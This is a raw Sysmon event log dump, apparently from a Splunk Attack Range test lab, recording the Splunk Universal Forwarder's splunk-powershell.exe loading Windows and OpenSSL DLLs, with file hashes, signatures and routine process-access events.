Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000058171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 10341000x800000000000000058169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000058164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.957{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000058157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.815{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8FBBD0A1AC906044A7291422AA2D385,SHA256=CA9145495F113FE7E67B4332F310A4CCA266ACA9AEDC0ED4F2850C2DCBD0235A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:19.299{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=19EE67F437BC0B24F4FC9E7030342E09,SHA256=120264CB498E5449CFBD0D1283B39CBD0EA3E0C6C66A0851026C1DEC0681EB82,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000058156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.674{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000058155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.674{7BD73061-7597-613B-C10B-00000000F001}37401608C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.674{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.674{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000058152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.471{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000058144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program 